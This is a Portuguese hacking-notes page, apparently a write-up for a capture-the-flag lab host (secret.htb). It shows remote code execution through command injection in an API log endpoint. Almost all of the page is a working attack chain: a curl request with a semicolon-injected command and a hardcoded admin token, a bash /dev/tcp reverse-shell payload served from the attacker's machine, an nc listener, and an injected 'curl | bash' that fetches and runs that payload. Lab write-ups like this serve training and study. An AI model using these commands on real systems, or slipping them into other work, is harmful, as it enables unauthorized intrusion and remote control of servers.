> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/api-attack/abus-dapi-rce-pentesting-web.md).
# RCE por Abuso de API
## RCE:
{% hint style="info" %}
Este código tem um problema de segurança causado por injeção de comandos. Porque `arquivo` vem dos parâmetros da requisição e é inserido diretamente em um comando de terminal, um usuário malicioso poderia modificar `arquivo` para executar outros comandos. Esta rota executa `git log --oneline [file]` no sistema, onde `[file]` é fornecido por meio do parâmetro de query da requisição.
{% endhint %}
Aqui está um exemplo de comando `curl` que tenta injetar `id`:
{% code overflow="wrap" %}
```bash
curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```
{% endcode %}
#### executaremos um shell reverso:
1. Crie um arquivo `index.html` na nossa máquina e crie um servidor web com o conteúdo abaixo:
```html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1
```
2. Em seguida, configure o listener na porta 4444:
```bash
nc -nlvp 4444
```
Execute uma injeção com `curl` em nosso servidor web:
{% code overflow="wrap" %}
```bash
curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq
```
{% endcode %}
---
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